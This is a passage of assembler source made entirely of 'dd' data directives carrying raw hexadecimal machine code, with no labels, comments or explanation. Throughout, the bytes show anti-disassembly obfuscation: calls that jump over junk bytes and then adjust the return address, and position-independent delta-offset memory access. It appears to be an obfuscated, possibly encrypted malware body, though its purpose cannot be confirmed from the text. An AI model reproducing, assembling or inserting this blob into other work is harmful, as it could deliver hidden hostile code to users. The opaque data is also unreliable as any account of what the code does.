		dd 2F89BD8Bh, 85FF05E7h, 5E71CE1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 71C35747h, 13E884h,	0C2DE0000h
		dd 0A3D62D55h, 54EDC163h, 66371131h, 0A8984318h, 499D89CDh
		dd 5F05E722h, 9D8BFF6Ah, 5E70ED1h, 2CC5B5FFh, 95FF05E7h
		dd 5E729C1h, 11CE9h, 95D78100h,	0B078B64Fh, 6880F00h, 89000000h
		dd 0E716E98Dh, 8070E605h, 71E447EFh, 68DBD89h, 613C05E7h
		dd 0F3830Fh, 0BD8B0000h, 5E72D75h, 0FC8B60Fh, 9D8BDBB7h
		dd 5E70441h, 6BAh, 10E95600h, 4B000000h, 2727C2F0h, 0C0D932F2h
		dd 25C20E5Fh, 5F78DB1Ah, 0BD89C18Bh, 5E72675h, 8904E8C1h
		dd 0E71B319Dh, 0E2F76605h, 0FE8h, 23921B00h, 0CF4608C9h
		dd 0CEBCACD8h, 0B1141E2Fh, 22BD9589h, 895B05E7h, 0E71C31BDh
		dd 8BC82B05h, 299D8BD1h, 0E905E71Ch, 81h, 1858Bh, 83F90000h
		dd 958907C0h, 5E721A5h,	3B00C083h, 24830FD0h, 2B000000h
		dd 0E7153D9Dh, 5BE905h,	85890000h, 5E7230Dh, 0EE9h, 0E1BDC600h
		dd 5BB830B4h, 24273911h, 8B684C11h, 0FFFFFF8Dh,	8E8FFh
		dd 0A3690000h, 8F5385Ch, 8B664D22h, 0BD335BFEh,	5E70ED9h
		dd 0F01E183h, 1C84h, 0F8BF0F00h, 0FFFFA583h, 0BBFEFFFFh
		dd 31D7B5B9h, 19589h, 0DA8B0000h, 0E9h,	8BB58D00h, 6A05EB44h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 6683C355h, 29ED45BFh, 0E7262995h,	89006A05h
		dd 0E702759Dh, 1D95FF05h, 6A05E71Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0EE28C353h
		dd 1EC9D18Eh, 0FE953h, 0B6CB0000h, 9BD1D015h, 3F5F7721h
		dd 343FDAA3h, 17B35F97h, 0F31B9h, 0ACF8000h, 89FCE183h
		dd 0E72699B5h, 9D89FC05h, 5E72305h, 0B8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0CD410219h, 0D22B3D88h, 0CE9h, 1A386B00h, 0C8BE4970h
		dd 11B0416Fh, 0C233ADA0h, 0D003E8D1h, 7504E983h, 6E9F4h
		dd 664B0000h, 0F983054h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 63C35242h, 0D6A17694h, 28F0Fh, 7AB30000h
		dd 941B529h, 880D05E7h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 657FC356h
		dd 3F70009Eh, 20C7804Ah, 2315958Bh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0AA9138C3h
		dd 0E850Fh, 9E90000h, 1D000000h, 0AFF9EF59h, 5F096A80h
		dd 8B98D8Bh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0E4B768C3h, 0E59D8B52h, 5B05E72Eh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	9D895818h
		dd 5E72E09h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0CAC35747h, 1DB7470Eh, 75CCF381h, 0BD83320Ah, 5E7211Dh
		dd 79840F00h, 8B000000h, 0E72E51BDh, 81EF8105h,	0B80ECD4Fh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 11C35646h
		dd 54E1DD72h, 8D8DF795h, 5E74DFAh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 33C35646h, 990E447Ah, 0F88B6613h
		dd 8E9E1FFh, 0C7000000h, 5927DC0h, 60CB095Eh, 569797BBh
		dd 0D99D8B2Fh, 6105E715h, 0C99BD83h, 0F0005E7h,	43C84h
		dd 8F0F00h, 83000000h, 0E70C99BDh, 840F0105h, 444h, 13E9h
		dd 0CE30FA00h, 0C74CF61Bh, 80692EC3h, 0AEC4A064h, 0D869961Bh
		dd 0C99BD83h, 0F0305E7h, 3E986h, 0BD896000h, 5E70D29h
		dd 15B18D8Bh, 606105E7h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 13C35141h, 34AC908Bh,	12F19509h, 8C6605E7h
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 6982BBB0h, 0E180DA8Bh, 7E904h, 0D80A0000h
		dd 51C3E0A1h, 0FC90A7Ah, 0F584h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8B07072Dh
		dd 0E7072D85h, 28B0F05h, 8B000000h, 33DE8BDAh, 0E72E8185h
		dd 90D98B05h, 8A5063B7h, 6A90DDh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 804D3AC3h, 6A24F7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 4BC35141h, 15A2C39Bh
		dd 8EC7D1E4h, 14E8h, 0F0538600h, 8A76DF5Ah, 0C2DB3453h
		dd 35B36630h, 0A777F967h, 0F6685BB3h, 8A04BE1Dh, 243481DEh
		dd 4A11E09h, 20E595FFh,	9E905E7h, 6F000000h, 738149FDh
		dd 4D5212E1h, 0A3508589h, 6A05EAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0BA35ACC3h, 21BD89CDh
		dd 0E905E708h, 1FEh, 76B9F781h,	858B0429h, 5EAA348h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A8C35646h, 84C22737h
		dd 0ABC5A7A9h, 0CDF38166h, 1800C73Bh, 8B000000h, 0E71A25BDh
		dd 4CB58B05h, 8B05EAA3h, 0E7008185h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 8D84663Bh
		dd 0B5294474h, 5E70D49h, 8BF90689h, 0E7072D85h,	55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9D8B87BFh, 5E700A9h,	9CC38166h, 4468938h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E7C35242h, 0B754DF48h
		dd 50F98B84h, 0F525060h, 5AFCB531h, 34896158h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 5A37651Eh, 51FB46ACh, 0DD9D8BE2h, 0FF05E712h, 0EAA348B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 602E66F5h, 9AD18160h, 813FDA39h,	344386C3h
		dd 0D9806148h, 0E36861B5h, 0E943588Dh, 5, 0E384ACC0h, 243481E6h
		dd 43478E1Ch, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0EFC35747h, 8B8DA54Dh, 0E708F19Dh, 50858D05h, 6A05EAA3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B1EC350h, 0E715799Dh, 0E8509005h, 7, 59F343E1h
		dd 56BAAE75h, 5FDA8B66h, 6A905Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 8F6AD6C3h, 0D1B7DBA7h
		dd 95FF6A50h, 5E720E5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0BBC35646h, 3319589h,	6A6105E7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 6EECC357h, 6890Fh, 0BD8B0000h, 5E70AEDh, 0C9985C7h
		dd 305E7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 6467AAC3h, 0A350BD83h, 0F0005EAh
		dd 2D84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 1A9F7D47h, 9B4A9FEDh, 1FE920h, 0BB660000h
		dd 305034CEh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 7D7EBD85h, 890FF0h, 89000000h, 0E7083DB5h
		dd 99BD8305h, 305E70Ch,	445850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 949E91C3h
		dd 0D380DF03h, 50BD83ECh, 5EAA3h, 415840Fh, 0C7810000h
		dd 7088297Ch, 0A350B5FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C9DCEC3h, 95898C8Dh
		dd 5E70CDDh, 2D6995FFh,	6A05E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0B58BF4C3h, 5EAA344h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 76C35545h
		dd 0F4D0448h, 684h, 0D99D0300h,	0E905E706h, 0Ch, 94D76D4Dh
		dd 0FE7CE4EAh, 43BA0BFCh, 106C7h, 6A0001h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0D5DC64C3h
		dd 0E81A00A8h, 0BB663317h, 0B79675F3h, 66965005h, 0FF30F4BBh
		dd 0EAA350B5h, 0FFFB8B05h, 0E7247D95h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 8A440664h, 0D017DA9h, 0A5BD8B7Eh, 8B05E70Eh,	0EAA344B5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0B870F7Ch, 0F000000h, 58Ch, 3208BF00h, 858B6078h
		dd 5E703CDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	1DC35141h, 61C8D036h, 0E859070Fh, 8, 4995EE71h
		dd 0ADCA6BE9h, 15CD8D31h, 895F05E7h, 0C486h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0BBED7EADh, 991BD8Bh, 958B05E7h, 5E72315h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 99C35343h, 0FE8BC3ABh
		dd 6A04C283h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0C90AC350h, 5089F98Ah,	57006A20h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0C0662F06h, 0A9359522h, 8DF98B66h, 0EAB73285h, 0ED958905h
		dd 8905E708h, 0B886h, 3D9D8B00h, 6A05E71Bh, 0EE900h, 0DDB10000h
		dd 0DE8E253Eh, 0FB623912h, 6712B7Dh, 0A350B5FFh, 0E96005EAh
		dd 9, 0B9108712h, 1F534381h, 0DD9D8943h, 6105E713h, 4195FFh
		dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 10E8C6C3h, 3D000000h, 0B39A6442h,	0F7A934A9h
		dd 7CB6D0A4h, 0F802F50h, 686h, 5DBD8B00h, 5F05E712h, 2B359D89h
		dd 0DB8105E7h, 2A03377h, 0EE950h
		dd 0D7D60000h, 6F989057h, 93721791h, 0F904B455h, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0FFC5C355h, 5A3E387Fh, 0B5FF485Dh, 5EAA350h
		dd 4099D89h, 95FF05E7h,	5E72A09h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 29C35747h, 0F9BD83D9h, 5E704h
		dd 5E840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 180424h, 53430000h, 567200C3h, 0E9968D4Bh, 0Ch, 82511B3Fh
		dd 5696D17h, 4F0898A3h,	2A04BB50h, 6A96105Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0D6DCC356h, 0CD7D3D5Ch, 0FDFC786Ch, 0A350B5FFh, 96005EAh
		dd 0E705E9B5h, 0D9958905h, 6105E729h, 71D95FFh,	0B5FF05E7h
		dd 5EAA350h, 2DC99589h,	0B70F05E7h, 0C595FFDEh,	6605E70Ch
		dd 0BD83D88Bh, 5E725CDh, 29840F02h, 0E9000000h,	9, 60143F7Ah
		dd 4136CC6Dh, 51858BB9h, 905E706h, 0E725A585h, 0C605h
		dd 0E15BD8Bh, 0BD0905E7h, 5E70D45h, 0DFD85C7h, 5E7h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E0A447C3h, 0D0B7A4ACh, 0E9C7B703h, 0FFFFF36Ch, 2B1DBD0Bh
		dd 0C18B05E7h, 0D8EF8166h, 0F9858DFFh, 0F805E71Ah, 0CE990h
		dd 65060000h, 72B1646Fh, 7EFBF5BDh, 8B503313h, 6A90DAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0CDD457C3h, 0F88B665Dh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 6ABFC3h, 25958D89h
		dd 858D05E7h, 5EBD78Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0A5C35343h, 5C083FFh,	0C0D5DF81h, 9D89574Fh
		dd 5E7324Dh, 7860F50h, 53000000h, 0CFFB7FBBh, 4895B3Fh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 20A19832h, 1CB91509h, 6AD9BF0Fh,	6AF500h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CC35242h
		dd 0F97A667h, 28Fh, 0FF71B300h,	0E702C595h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0CFA4840Fh, 0ADB529D6h, 8D05E708h, 0EA95148Dh, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 7EA77C7Bh, 66DAB70Fh, 0FDF4EB81h, 5E8D1FFh, 63000000h
		dd 91AC1B0Ch, 0FD1456BBh, 0BD835B50h, 5E707F1h,	7F850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 891CC355h, 0E70AB9BDh,	6A026A05h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0A696C351h, 0FE8B66D0h, 24048950h, 12E9BD8Bh
		dd 95FF05E7h, 5E70041h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0DDC35646h, 0ABA71F97h, 4D91E5C1h, 25C99509h
		dd 3E905E7h, 0E800000Dh, 0
		dd 97ED815Dh, 6A05EBD7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0ED56C357h,	8B7B9223h
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 73EEE72Dh, 5114A144h, 0FD9BC781h, 8D5F1414h
		dd 0EA8F5B85h, 0C5B58905h, 9005E727h, 2810Fh, 67B30000h
		dd 8E950h, 705A0000h, 195DC509h, 0F902056h, 0FF64FFB7h
		dd 35h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh,	24448104h
		dd 1804h, 0C3574700h, 0A9D3EE87h, 25896414h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7C35646h
		dd 0BAEAAA3Bh, 0EE9CA00Ch, 0FFDA8B1Ah, 0E71CE185h, 0E0BF6605h
		dd 33FF6AD0h, 0E72F49BDh, 35B5FF05h, 8905E72Dh,	0E704398Dh
		dd 61BD0B05h, 0FF05E712h, 0E729C195h, 121E905h,	0BF0F0000h
		dd 6600B0FFh, 0B509DF8Bh, 5E70011h, 8D2970E6h, 5E71231h
		dd 613C71E4h, 101830Fh,	870F0000h, 6, 830Fh, 0BD2B0000h
		dd 5E72E99h, 66C8B60Fh,	0BAFA84BBh, 6, 0BD29C18Bh, 5E7263Dh
		dd 104E8C1h, 0E709A985h, 0A7D78105h, 66719034h,	9589E2F7h
		dd 5E71B99h, 8166C82Bh,	8B5642CFh, 6D9D89D1h, 0E905E72Fh
		dd 0AFh, 14E9h,	8A4FA600h, 0DA6F7B42h, 4C785CE3h, 0EC69881h
		dd 0D286FC0Bh, 4858B07h, 8B000000h, 0E7032D9Dh,	7C08305h
		dd 27C59D23h, 0C08305E7h, 0BD858900h, 3B05E702h, 24830FD0h
		dd 0F000000h, 1080h, 0BE900h, 0FD4B0000h, 34F6D38Dh, 5B9C1B5Ch
		dd 459D09A5h, 0E905E703h, 4Fh, 8BFE8B66h, 0FFFFFF8Dh, 18B0FFFh
		dd 0FC000000h, 0F01E183h, 3684h, 870F5200h, 14h, 0FE9h
		dd 2FAA6E00h, 0BCF3387Ah, 8AF10547h, 7F76BAF4h,	0FFA5835Bh
		dd 0FEFFFFFFh, 95893AB7h, 4, 231BD8Bh, 0E905E7h, 8D000000h
		dd 0EB53BCB5h, 39E78105h, 6A66E825h, 14E900h, 2B720000h
		dd 4D8E92DCh, 618C5F4Eh, 52D72BABh, 86BBA400h, 9D8B47D7h
		dd 5E70B05h, 1A1D95FFh,	896005E7h, 0E7005DB5h, 1958B05h
		dd 6105E703h, 0FF8B9h, 49C9BF00h, 0E18350ACh, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0FE8B6628h, 123DB529h, 6AFC05E7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FD2AC351h
		dd 0CA4B8516h, 84546A8Dh, 5840Fh, 9BB0000h, 0B816B7EBh
		dd 0
		dd 0DF59D89h, 0D22B05E7h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 32C35646h, 0B8B8F71Dh, 68A0Fh, 8D290000h
		dd 5E70479h, 2E999D8Bh,	33AD05E7h, 3E8D1C2h, 4E983D0h
		dd 9D89F475h, 5E72571h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 87C35747h, 14A9D3EEh,	0CE8583Ah, 0DA000000h
		dd 4FEDCAABh, 84C3E5CBh, 0F353B08h, 58Fh, 0C7816600h, 0D5B51B5h
		dd 88h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
		dd 82C35242h, 3E6804BBh, 15958B50h, 5605E723h, 0AE9h, 0F7EBFE00h
		dd 9772F3C6h, 5B07366Ah, 8B98D8Bh, 9D8B05E7h, 5E732C9h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0D8611BC3h, 0A590FA3Eh, 0E9F0EE12h, 0Dh, 0D95B4097h
		dd 0E56423FFh, 9CE86986h, 7E996h, 0C11E0000h, 0E0B1C2E2h
		dd 0A258BFF3h, 0BD8343E5h, 5E7211Dh, 0A8840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0D381C351h, 1FA6DF0Ah, 0B8F3BCh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0CE8CC356h, 0CE9FFh, 56420000h, 4615F4DBh
		dd 5B376C72h, 8D8D5636h, 5E74DFAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0FC35040h, 259342B2h, 0A5C28E41h
		dd 31898529h, 0E1FF05E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 1C35242h, 834C2711h, 0E70C99BDh, 840F0005h
		dd 3A3h, 9A5B529h, 0BD8305E7h, 5E70C99h, 0AB840F01h, 6A000003h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 60EBC357h, 0B8F28B66h, 5BA05B8h, 499D2961h
		dd 8305E713h, 0E70C99BDh, 860F0305h, 33Ch, 518D8B60h, 8105E732h
		dd 0AF8750C0h, 0BF0F616Dh, 0FE960FFh, 0BA000000h, 34DDD72Ch
		dd 573D7E7Dh, 2BAC35D6h, 8C66C786h, 0FA8B66D9h,	8904E180h
		dd 0E71B6D95h, 0FC90A05h, 13A84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BEF0785h
		dd 0E7072D85h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 397F0661h, 3311C380h
		dd 0E72E8185h, 758D2905h, 5005E703h, 0DBB86660h, 4896104h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 886F599Dh, 0BF9E6ACFh, 0E38146E6h, 712394B9h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 449EC1C3h, 3A51C3BBh, 4E85Dh, 3FF0000h, 0BB50001Fh
		dd 7BFB1AFEh, 424448Bh,	0E960008Bh, 10h, 6B2B7F68h, 9F4766FCh
		dd 759DE164h, 0B05410Ah, 14E9h,	0FFD3E400h, 8057077Dh
		dd 6E05E202h, 0FCC26F33h, 6B0F156Fh, 44896180h,	0F88A0424h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0B98D8914h, 0FF05E72Eh, 0E720E595h, 5BF55205h
		dd 0A3508589h, 8B6605EAh, 17FE9FBh, 0EF810000h,	1C085BA1h
		dd 8BFFBF0Fh, 0EAA34885h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C19D0BCBh
		dd 0C705E70Ch, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 9793F4A9h, 21959D8Bh
		dd 9D8905E7h, 5E7016Dh,	0A34CB58Bh, 858B05EAh, 5E70081h
		dd 8B0689F8h, 0E70B89BDh, 2D858B05h, 0E805E707h, 13h, 0E75DB30Eh
		dd 1528929Eh, 0EF60C652h, 2A680066h, 8915B84Ah,	0E708C185h
		dd 46895F05h, 859D8B04h, 0BB05E726h, 2B55BFFDh,	65C5BB50h
		dd 34890937h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0FF9A9049h, 0EAA348B5h, 8D896005h
		dd 5E7085Dh, 6151D980h,	1C419D29h, 0EB6805E7h, 8B03231Bh
		dd 243481DAh, 33C1814h,	2B8BB66h, 0A350858Dh, 9D8B05EAh
		dd 5E701E1h, 15810F90h,	0E8000000h, 0Ch, 4C5F0ED2h, 504F4CFEh
		dd 4E382F98h, 5FD98B66h, 0FA8B6650h, 52006A90h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 9D95313Bh
		dd 0FF05E700h, 0E720E595h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 7FDC06ACh
		dd 0B089833Fh, 4EDF8169h, 8B6526B0h, 0E70E399Dh, 8B666105h
		dd 9985C7FEh, 305E70Ch,	1000000h, 0E7233195h, 50BD8305h
		dd 5EAA3h, 2E840Fh, 0D88A0000h,	42E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 804E94DBh, 66B16393h, 0C79FE381h, 110C3050h,	1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0D466C350h, 16E0EE02h, 26359589h, 850F05E7h,	19h, 11E8h
		dd 0A1812700h, 839791EFh, 0A2CF3061h, 4113F429h, 5B50FEECh
		dd 99BD835Fh, 305E70Ch,	3F0850Fh, 0FE8B0000h, 0A350BD83h
		dd 0F0005EAh, 3E184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD2B87F4h, 5E725BDh
		dd 7E9h, 0F8B42900h, 0D3B952A6h, 0A350B5FFh, 6A05EAh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 7F40DBC3h, 0BAEEFCB3h, 95FF3848h, 5E72D69h, 8115BF66h
		dd 0A344B58Bh, 0BD8B05EAh, 5E72605h, 106C7h, 59B70001h
		dd 89DE8B50h, 9D8B2434h, 5E70231h, 0A350B5FFh, 6A05EAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F2FACC3h, 686h, 0C2CB8100h,	603F48F2h, 6E9h, 95C06F00h
		dd 8B7B0BCBh, 0E712359Dh, 95FF6105h, 5E7247Dh, 27459529h
		dd 0B58B05E7h, 5EAA344h, 3CD858Bh, 8E805E7h, 21000000h
		dd 0E1E511EFh, 899D6ACCh, 0E713A985h, 86895F05h, 0C4h
		dd 25A82CBBh, 15958B7Ah, 6605E723h, 0C283D88Bh,	57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 205089CBh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	5DC35747h, 6C54F2C9h, 67A53FD1h, 32858DA9h, 6005EAB7h
		dd 1BB5B589h, 0B58905E7h, 5E73245h, 0B8868961h,	0F8000000h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 9F6B7CC3h, 18D8978h, 0FF05E705h, 0EAA350B5h
		dd 0BD8B5605h, 5E70069h, 4195FF5Fh, 6A05E700h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0FAECC352h, 38A0Fh, 8B660000h, 880F96DAh, 2,	0BF50DD8Ah
		dd 13B245D1h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B668E46h, 0DDBD89DAh, 0FF05E712h
		dd 0EAA350B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0EB8166ACh, 95FF9DD2h
		dd 5E72A09h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	64C35040h, 0F1BD8BD3h, 8305E72Ch, 0E704F9BDh, 840F0005h
		dd 6Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h
		dd 3FC35242h, 6696DD30h, 5050DE8Bh, 8A0F6052h, 0
		dd 0BE9h, 7FBE9600h, 1497DA1h, 21359D21h, 8A310F61h, 96585ADDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B5C35545h
		dd 2DB7F95Eh, 310D8589h, 0B5FF05E7h, 5EAA350h, 0AD8D0950h
		dd 5B05E70Dh, 71D95FFh,	0BD8B05E7h, 5E7127Dh, 0A350B5FFh
		dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0B4A632C3h, 0A658525Fh, 0FFD36532h, 0E70CC595h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0F070BFC0h, 81664F8Dh, 66B6B7DFh, 447DF381h
		dd 25CDBD83h, 0F0205E7h, 4F84h,	9D895100h, 5E7062Dh, 51858B5Bh
		dd 6A05E706h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 66B2C357h, 0C630B4BFh,	13E80000h
		dd 0B000000h, 17B308ECh, 6D6D3354h, 126788F7h, 0C23E7A8h
		dd 6660B55Bh, 5F61D68Bh, 0DFD85C7h, 5E7h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 325E0CC3h, 12E8CA4Dh, 58000000h, 8B79822Bh, 0C4107CF6h
		dd 1DE9031Eh, 24D99E3Ch, 47DF8113h, 5B313924h, 0FEE9DA8Bh
		dd 0BBFFFFF3h, 2BF845BFh, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 858DD9C3h, 5E71AF9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 57C35747h
